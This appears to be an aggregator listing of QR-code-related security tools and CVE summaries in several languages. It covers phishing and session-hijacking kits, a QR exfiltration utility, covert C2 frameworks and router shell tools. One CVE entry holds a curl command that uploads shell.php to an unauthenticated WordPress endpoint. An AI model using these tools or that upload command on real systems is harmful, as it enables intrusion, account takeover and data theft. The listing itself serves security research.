squarephish

SquarePhish SquarePhish は、OAuth デバイスコード認証フローと QR コードを組み合わせた手法を利用する高度なフィッシングツールです。 OAuth デバイスコードフローをフィッシング攻撃に使用する詳細については、PhishInSuits を参照してください。 root@kitploit: / | | | | | | | | | | | | | \ \ / | | | |/ | '/ \ /| ' | / | ' \ | | | || | | | | | / | | | | | \ \ | | | |/ , |,|,|| || || |||/| || |...

QRExfil

QRExfiltrate このツールは、任意のバイナリファイルをQRコードGIFに変換できるコマンドラインユーティリティです。データは視覚的に再構築でき、エアギャップシステムでのデータの外部持ち出し（exfiltration）を可能にします。これは、DLP（データ損失防止）ソフトウェアの脆弱性、すなわちデータが電子メール、USBメモリ、その他のメディアを介してシステム外に流出するという前提を実証するための概念実証として設計されました。...

QRLJacking

QRLJacking - 新しいソーシャルエンジニアリング攻撃ベクトル 私たちのWikiでドキュメントをご覧ください。 QRLJackingとは？ QRLJacking（Quick Response Code Login Jacking）は、QRコードログイン機能を安全なログイン方法として利用するすべてのアプリケーションに影響を与える、セッションハイジャックが可能な単純なソーシャルエンジニアリング攻撃ベクトルです。簡単に言えば、被害者が攻撃者のQRコードをスキャンすることでセッションハイジャックが発生します。 悪用方法、クライアント側のセットアップ（攻撃者のブラウザ）:...

MalQR.github.io

MalQR 概要 MalQR は、スキャナのセキュリティをテストするために使用できる 悪意のある QR コードやバーコードのコレクションです。スマートフォン、タブレット、またはインターネット接続のあるノートパソコンがあれば、MalQR.shielder.com にアクセスするだけで、一般的なペイロードの豊富なコレクションを利用して、簡単にテストを実施できます。 現在、以下のコード規格が含まれています: QR Data Matrix Aztec Code 128 このプロジェクトは、smaury のアイデアをもとに Shielder がメンテナンスしています。 貢献...

QuickResponseC2

機能 - 使い方 - デモ - ワークフロー概要 - TODO QuickResponseC2 QuickResponseC2 は、中間の HTTP/S サーバーを介して攻撃者と被害マシン間の間接的かつ秘匿的な通信を可能にする、ステルスな Command and Control C2 フレームワークです。すべてのネットワークアクティビティは画像のアップロードとダウンロードに限定されるため、従来の IPS/IDS システムによる検出が困難であり、セキュリティ研究やペネトレーションテストに理想的なツールです。 機能: QRコードを介したコマンド実行 :...

nec_aterm_tools

necatermtools 此仓库包含两个用于在 NEC Aterm 路由器上获取 shell 访问权限的工具： 1. nec-aterm-firmware-config-extractor：从固件镜像中提取 HWRANDOMKEY。该密钥用于生成登录所需的有效密码。 2. rakuraku-nec-shell：从二维码中提取 HWRANDOMKEY 并生成登录的有效密码。...

CVE-2021-43530-UXSS-On-QRcode-Reader-

CVE-2021-43530-QR码读取器上的UXSS- Firefox for Android中存在一个通用XSS漏洞，原因是处理从QR码扫描的URL时消毒不当。此漏洞仅影响Firefox for Android。其他操作系统不受影响。该漏洞影响Firefox 94。...

SharpCovertTube

SharpCovertTube SharpCovertTubeは、Youtubeに動画をアップロードしてWindowsシステムをリモート制御するために作成されたプログラムです。 このプログラムは、動画がアップロードされるまでYoutubeチャンネルを監視し、アップロードされた動画のサムネイルからQRコードをデコードしてコマンドを実行します。動画内のQRコードは平文またはAES暗号化された値を使用できます。 バイナリ版とサービスバイナリ版の2つのバージョンがあり、悪意のある動画を生成するPythonスクリプトが含まれています。その目的は、Google...

wifi-password

wifi-password WiFiのパスワードを素早く取得し、必要に応じてWiFiのQRコードを生成して、スマートフォンが簡単に接続できるようにします。 macOS 、Linux 、Windows で動作します インストール pipを使用したインストール root@kitploit: $ python3 -m pip install --user wifi-password gitを使用したインストール root@kitploit: $ git clone https://github.com/sdushantha/wifi-password $ cd wifi-password $...

wifi-password

wifi-password Quickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect. Works on macOS and Linux , Windows Installation Install using pip root@kitploit: $ python3 -m pip install --user wifi-password Install using git root@kitploit: $ git...

evilqr

Evil QR Toolkit demonstrating another approach of a QRLJacking attack, allowing to perform remote account takeover, through sign-in QR code phishing. It consists of a browser extension used by the attacker to extract the sign-in QR code and a server application, which retrieves the sign-in QR cod...

CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" 详情 漏洞存在于 FlexQrCodeGenerator 类的 updateqrcode 方法中。该插件为未认证用户注册了 AJAX...

CVE-2022-24992

CVE-2022-24992 CVE-2022–24992 这篇文章是关于 CVE-2022–24992 的，这是我获得的第一个 CVE，它涉及 QRCDR 广泛使用的 QR-Code 生成器脚本中的一个漏洞。 更多信息 此致， n0lsec...

CVE-2025-10041

CVE-2025-10041 Flex QR Code Generator = 1.2.5 - Unauthenticated Arbitrary File Upload 🚨 Flex QR Code Generator ≤ 1.2.5 - Unauthenticated Arbitrary File Upload 📝 Description The Flex QR Code Generator plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation ...

dc34-vault

DC34 vault 应用程序 !WARNING 将您自己的固件加载到徽章上会擦除光加密密钥，并导致您的徽章进入开发者模式。 注意：此仓库现已孤立，即将归档，因为它已合并到 xous-core 中。它之所以存在于 bunnie 的 GitHub 仓库中，是因为在会议之前它必须是私有的；现在它已公开，将作为 xous-core 的一部分进行维护。请将所有未来的 PR 提交到 xous-core。Tetris PR 最终将作为独立应用程序迁移，因此该仓库将保持活跃，直到该待办事项完成。 这是为 Defcon34 定制的 vault 应用程序。...

EUVD-2026-66418

The vulnerability allows the unauthorised generation of physical access QR codes due to the use of hard-coded credentials within the application. The generation mechanism uses the 'badgenumber' parameter as the HMAC private key, the value of which remains static and is accessible via the API usin...

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

CVE-2025-10041: Analyse der Schwachstelle für beliebigen Datei-Upload im Flex QR Code Generator Plugin 1. Überblick über die Schwachstelle Plugin-Name : Flex QR Code Generator Betroffene Versionen : ≤ 1.2.5 alle Versionen Schwachstellentyp : Beliebiger Datei-Upload → Remote Code Execution RCE...

CVE-2026-12587

The vulnerability allows the unauthorised generation of physical access QR codes due to the use of hard-coded credentials within the application. The generation mechanism uses the 'badgenumber' parameter as the HMAC private key, the value of which remains static and is accessible via the API usin...

CVE-2026-12587 Embedded credentials in Virtuagym

The vulnerability allows the unauthorised generation of physical access QR codes due to the use of hard-coded credentials within the application. The generation mechanism uses the 'badgenumber' parameter as the HMAC private key, the value of which remains static and is accessible via the API usin...

CVE-2026-12587

CVE-2026-12587 affects the Virtuagym application, where a static, hard-coded badge_number parameter is used as the HMAC private key for generating physical access QR codes. This value is exposed via the API endpoint /club/_id_club_/member/_id_member_/resamania_qr_info, and the cryptographic logic...